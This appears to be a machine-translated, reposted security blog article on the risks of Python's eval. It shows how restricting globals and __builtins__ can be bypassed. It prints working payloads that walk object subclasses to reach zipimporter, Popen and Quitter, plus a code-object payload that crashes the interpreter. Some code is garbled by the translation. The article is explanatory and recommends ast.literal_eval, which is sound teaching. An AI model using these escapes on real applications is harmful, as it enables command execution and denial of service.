Potential risks of Eval in Python

Source: Internet
Author: User

0x00 Preface

Eval is a built-in function that Python uses to execute Python expressions, and using eval makes it easy to dynamically execute strings. such as the following code:

eval("1+2")eval("[x for x in range(10)]")[0, 1, 2, 3, 4, 5, 6, 7, 8, 9]

When the in-memory built-in module contains the OS, eval can also do the command execution:

>>> import os>>> eval("os.system(‘whoami‘)")win-20140812chj\administrator0

Of course, Eval can only execute Python's expression type code, not directly with it for import operations, but exec can. If you do not want to use Eval for import, use __import__ :

>>> exec(‘import os‘)>>> eval(‘import os‘)Traceback (most recent call last):  "<stdin>"1in <module>  "<string>"1    import os         ^SyntaxError: invalid syntax>>> eval("__import__(‘os‘).system(‘whoami‘)")win-20140812chj\administrator0

In the actual code, there is often a need to use the client data to carry over into eval. For example, the introduction of dynamic modules, a chestnut, an online crawler platform crawler may have multiple and in different modules, server-side but often only need to call the user in the client selected crawler type, and through the back end of the exec or eval dynamic call, back-end encoding implementation is very convenient. However, if the user's request processing is inappropriate, it will create a serious security vulnerability.

0x01 "Safe" using eval

The most advocated now is to use the latter two parameters of eval to set the white list of functions:
The Eval function is declared as eval (expression[, globals[, locals])
Where the 23rd parameter specifies the functions to be used in eval, etc., if not specified, the default is the modules and functions contained in the Globals () and locals () functions.

>>>ImportOs>>>' OS ' inchGlobals ()True>>>Eval' Os.system (\ ' whoami\ ') ') win-20140812Chj\administrator0>>>Eval' Os.system (\ ' whoami\ ') ', {},{}) Traceback (most recent call last): File"<stdin>", line1,inch<module> File"<string>", line1,inch<module>nameerror:name' OS '  is  notDefined

If you specify that only the ABS function is allowed, you can use the following notation:

>>> Eval (' abs ( -20) ',{' ABS ': ABS},{' ABS ': ABS}) ->>> Eval (' Os.system (\ ' whoami\ ') ',{' ABS ': ABS},{' ABS ': ABS})Traceback(most recent):  File "<stdin>", line1,inch< module>  File "<string>", line1,inch< module>Nameerror:Name' OS 'Is not defined>>> Eval (' Os.system (\ ' whoami\ ') ') win-20140812Chj\administrator0

The use of this method to protect, indeed can play a certain role, but, 这种处理方法可能会被绕过 and thus cause other problems!

0x02 bypassing execution Code 1

The situation is bypassed as follows, Xiaoming knows that Eval will bring a certain security risk, so use the following means to prevent eval to execute arbitrary code:

env = {}env["locals"]   = Noneenv["globals"]  = Noneenv["__name__"] = Noneenv["__file__"] = Noneenv["__builtins__"] = Noneevalenv)

Python is a __builtins__ built-in module that is used to set built-in functions. For example, familiar abs,open and other built-in functions, are stored in the module as a dictionary, the following two kinds of writing is equivalent:

>>> __builtins__.abs(-20)20abs(-20)20

We can also customize the built-in functions and use them as you would with built-in functions in Python:

>>> def hello():...     print‘shabi‘>>> __builtin__.__dict__[‘say_hello‘] = hello>>> say_hello()shabi

Xiaoming sets the built-in module in the scope of the Eval function to be None , as if it looks very thorough, but can still be bypassed. __builtins__is __builtin__ a reference, under the __main__ module, the two are equivalent:

>>> id(__builtins__)3549136>>> id(__builtin__)3549136

According to the method mentioned in cloud drops, use the following code:

[x for x in ().__class__.__bases__[0].__subclasses__() if x.__name__ == "zipimporter"][0]("/home/liaoxinxi/eval_test/configobj-4.4.0-py2.5.egg").load_module("configobj").os.system("uname")

The above code first exploits __class__ and __subclasses__ dynamically loads the object object, because it is not possible to use object directly in eval. The Configobj module in the egg compression file is then imported using the Zipimporter of the object's subclass, and the OS module in its built-in module is called to implement the command execution, assuming, of course, the Configobj egg file.
Configobj module is very interesting, incredibly built-in OS module:

>>>  " OS " in  configobj.__dict__True  >>>  import  urllib>>>  " OS " in  Urllib.__dict__true  >>>  import  urllib2>>>  " OS "  in  urllib2.__dict__true  >>>  configobj.os.system (" WhoAmI ") Win-20140812  chj\administrator0   

and Configobj similar modules such as urllib , urllib2 , and setuptools so on have the OS built-in, theoretically use which is OK.
If you are unable to download the egg compress file, you can download the folder with setup.py and add:

fromimport setup, find_packages  

Then execute:

python setup.py bdist_egg

You can find the corresponding egg file in the Dist folder.
Bypass the demo as follows:

>>>env = {}>>>env["Locals"]   =None>>>env["Globals"]  =None>>>env["__name__"] =None>>>env["__file__"] =None>>>env["__builtins__"] =None>>>Users_str ="[X for X in (). __class__.__bases__[0].__subclasses__ () if x.__name__ = = ' Zipimporter '][0] (' e:/internships/ Configobj-5.0.5-py2.7.egg '). Load_module (' Configobj '). Os.system (' WhoAmI ') ">>>Eval (USERS_STR, env) win-20140812Chj\administrator0>>>Eval (users_str, {}, {}) win-20140812Chj\administrator0
0x03 denial of service attack 1

There are a lot of interesting things in the subclass of object, and the following code is performed to see:

[x.__name__ for x in ().__class__.__bases__[0].__subclasses__()]

I will not output the results here, if you do, you can see a lot of interesting modules, such as File,zipimporter,quitter. After testing, the constructor of file is isolated by the interpreter sandbox.
Simple, or the subclass that exposes object directly quitter to exit:

>>> eval("[x for x in ().__class__.__bases__[0].__subclasses__() if x.__name__ == ‘Quitter‘][0](0)()", {‘__builtins__‘:None})C:/>

If the luck is good, encounters the other program to import the os sensitive module, then the popen can use, and bypasses __builins__ to the empty limit, chestnuts as follows:

>>> Import subprocess>>> eval ("[x for x in (). __class__.__bases__[0].__subclasses__() if X.__name__= = ' Popen ' [0]([' ping ', '-n ', ' 1 ', ' 127.0.0.1 '])",{‘__builtins__': None})<subprocess. Popen Object  at 0x0324ff70>>>> Ping 127.0.0.1 has 32 bytes of data: Reply from 127.0.0.1: Byte =32 time<1ms TTL= Ping statistics for127.0.0.1 : packets : sent = 
      
       1, received = 
       1, lost = 
       0 (
       0lost), estimated time to round trip (in milliseconds)
       : shortest = 
       0ms, longest = 
       0ms, average = 
       0ms>
      >>

In fact, this is a lot of things, such as importing OS modules, which are generally used to handle routing problems. So, in this case, it is possible to enumerate a large number of function functions to detect whether the subclass of the target object contains some dangerous functions that can be used directly.

0x04 denial of service Attack 2

Similarly, we can even bypass __builtins__ for none, causing a denial of service attack, Payload (from a foreigner blog) as follows:

>>> eval(‘(lambda fc=(lambda n: [c for c in ().__class__.__bases__[0].__subclasses__() if c.__name__ == n][0]):fc("function")(fc("code")(0,0,0,0,"KABOOM",(),(),(),"","",0,""),{})())()‘, {"__builtins__":None})

Running the above code, Python directly crash out, resulting in a denial of service attack.
The principle is to construct a piece of code by nesting a lambda, that is, a coded object. Allocate an empty stack for this code object, and give the corresponding code string, here is KABOOM , the execution of code on the empty stack, there will be crash. After the construction is completed, the call to the FC function can be triggered, the idea is not a lewd.

0X05 Summary

From the above, we can see that the only built-in modules to empty, is not enough, the best mechanism is to construct a white list, if you feel more trouble, you can use ast.literal_eval instead of unsafe eval .

Resources:

"1" http://nedbatchelder.com/blog/201206/eval_really_is_dangerous.html
"2" http://drops.wooyun.org/web/7490
"3" Http://stackoverflow.com/questions/3513292/python-make-eval-safe

Copyright NOTICE: This article for Bo Master original article, without Bo Master permission not reproduced.

Potential risks of Eval in Python

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.